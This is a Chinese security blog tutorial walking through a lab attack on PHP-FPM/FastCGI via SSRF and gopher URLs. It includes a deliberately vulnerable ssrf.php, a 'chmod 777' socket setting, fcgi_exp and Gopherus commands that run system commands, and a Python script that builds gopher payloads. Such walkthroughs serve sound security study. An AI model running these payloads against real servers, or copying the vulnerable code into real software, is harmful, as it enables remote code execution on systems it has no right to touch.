SRF系列之攻击FastCGI

admin 2021年10月23日11:00:50评论160 views字数 5905阅读19分41秒阅读模式

SRF系列之攻击FastCGI

前言

上篇文章在讲利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议,说到了这个协议作为SSRF漏洞利用中的万金油,可以用它来攻击内网的FTPTelnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及利用SSRF结合Gopher协议攻击FastCGI


FastCGI


维基百科的解释:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。


只通过这样简单两句话确实难以理解这是一个什么协议,下面是我通过阅读各种资料后对这个协议的理解

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。


浏览器访问静态网页过程


在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。


SRF系列之攻击FastCGI


浏览器访问动态网页过程


当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。

SRF系列之攻击FastCGI


当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。


这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。


php-fpm


了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能对于高负载网站是非常有用的。


也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。


php-fpm攻击实现原理


想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。


而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。


那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。


环境搭建


靶    机:  Ubuntu

攻击机:   Kali


这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

sudo apt-get install nginx

安装php、php-fpm以及一些插件

sudo apt-get install software-properties-common python-software-properties 
sudo add-apt-repository ppa:ondrej/php          #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl


配置php-fpm


修改配置监听9000端口来处理nginx的请求

打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行

;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000

注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。

下面修改权限

chmod 777 /run/php/php7.2-fpm.sock

打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置

server {
    listen       80; #监听80端口,接收http请求
    server_name  www.example.com; #就是网站地址
    root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
    #路由到网站根目录www.example.com时候的处理
    location / {
        index index.php; #跳转到www.example.com/index.php
        autoindex on;
    }  
    #当请求网站下php文件的时候,反向代理到php-fpm
    location ~ .php$ {
        fastcgi_split_path_info ^(.+.php)(/.+)$;
        fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
        #fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
    }
}

启动环境


配置完成后查看一下php-fpm的安装位置,然后启动

whereis php-fpm
/usr/sbin/php-fpm7.2                #这是我的靶机上php-fpm安装的位置

重新启动Nginx

sudo systemctl restart nginx

然后检查nginx是否正确启动 systemctl status nginx


SRF系列之攻击FastCGI


检查php-fpm是否正确启动 ps -elf | grep php-fpm


SRF系列之攻击FastCGI


这里就可以看出上面所说的存在一个master进程和多个worker进程

下面将/var/www/html/目录下的文件删除,新建一个index.php,内容可以写上<?php phpinfo(); ?>用来检查各项是否正常运行,如果页面为空,查看这篇文章解决


SRF系列之攻击FastCGI


其中Sever API 处和上图一样说明运行正确然后在目录下新建ssrf.php 内容为

 <?php
    highlight_file(__FILE__);
    $url = $_GET['url'];
    $curl = curl_init($url);   
    //第二种初始化curl的方式
    //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);

    /*进行curl配置*/
    curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
    $responseText = curl_exec($curl);
    //var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

    echo $responseText;
    curl_close($curl);
?>

该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,下图为正常的结果


SRF系列之攻击FastCGI





ssrf攻击FastCGI演示


使用fcgi_exp攻击


这里在已知其使用了php-fpm的情况下,我们可以先使用fcgi_exp测试是否可以直接攻击9000端口,这个工具主要是用来攻击未授权访问php-fpm的所以一些地方需要自己写脚本转换一下payload,下面是使用方法

该工具需要go语言环境,下载后进入目录

go build fcgi_exp.go                    #编译fcgi_exp.go

这里直接运行可以看到fcgi_exp的使用方法

Usage:   ./fcgi_exp <cmd> <ip> <port> <file> [command]
         cmd: phpinfo, system, read
              the SYSTEM cmd only affects PHP-FPM >= 5.3.3
         ip: Target ip to exploit with.
         port: Target port running php-fpm.
         file: File to read or execute.
         command: Command to execute by system. Must use with cmd 'system'.

Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
         ./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
         ./fcgi_exp read 127.0.0.1 9000 /etc/issue

使用如下命令进行测试

./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"

在这里显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,所以说不能攻击成功,但是如果有的服务器在配置的时候将9000端口监听在公网上了,就可以用上面的方法进行测试。如果仅监听在本地可以通过ssrf来攻击内部的9000端口。

在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload,另外开启一个终端使用下面的命令发送payload

./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"

注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件 里面是获得的payload,可以使用xxd fcg_exp.txt查看其内容。


SRF系列之攻击FastCGI


文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码。

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

之后使用burp抓一个访问ssrf.php的包,将输出的内容放到?url=后面,然后这里需要再进行一次编码,因为这里curl会进行一次解码,gopher会再进行一次解码,这里直接用burp中的工具。


SRF系列之攻击FastCGI


编码之后直接Go就可以执行刚才设置的命令了


SRF系列之攻击FastCGI


使用Gopherus攻击


这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令。

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 #这里输入的是一个已知存在的php文件
whoami

SRF系列之攻击FastCGI


获得payload,之后用同样的方法在burp Go一下(记得二次编码)


SRF系列之攻击FastCGI


总结

通过上面的演示,可以看到又一个ssrf结合其他漏洞形成重大影响的示例,其实总的来看整个攻击的过程并不复杂,但是这仅仅是通过文章呈现出来的一种错觉,其实在复现的过程中,还是会出现各种各样的问题的,比如说搭建整个环境,其实是尝试了很多种搭建方式之后才成功的,本来也想用一个镜像来复现,但是没有合适的,最后终于找到了一种简单的方法来安装nginx和php-fpm,再比如使用fcgi_exp攻击时写的脚本,其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞,最好还是自己搭建环境尝试一下通过搭建环境学到的不仅仅是这个漏洞还有这些环境的一些知识。


SRF系列之攻击FastCGI

原文始发于微信公众号(疯猫网络):SRF系列之攻击FastCGI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月23日11:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SRF系列之攻击FastCGIhttps://cn-sec.com/archives/597662.html

发表评论

匿名网友 填写信息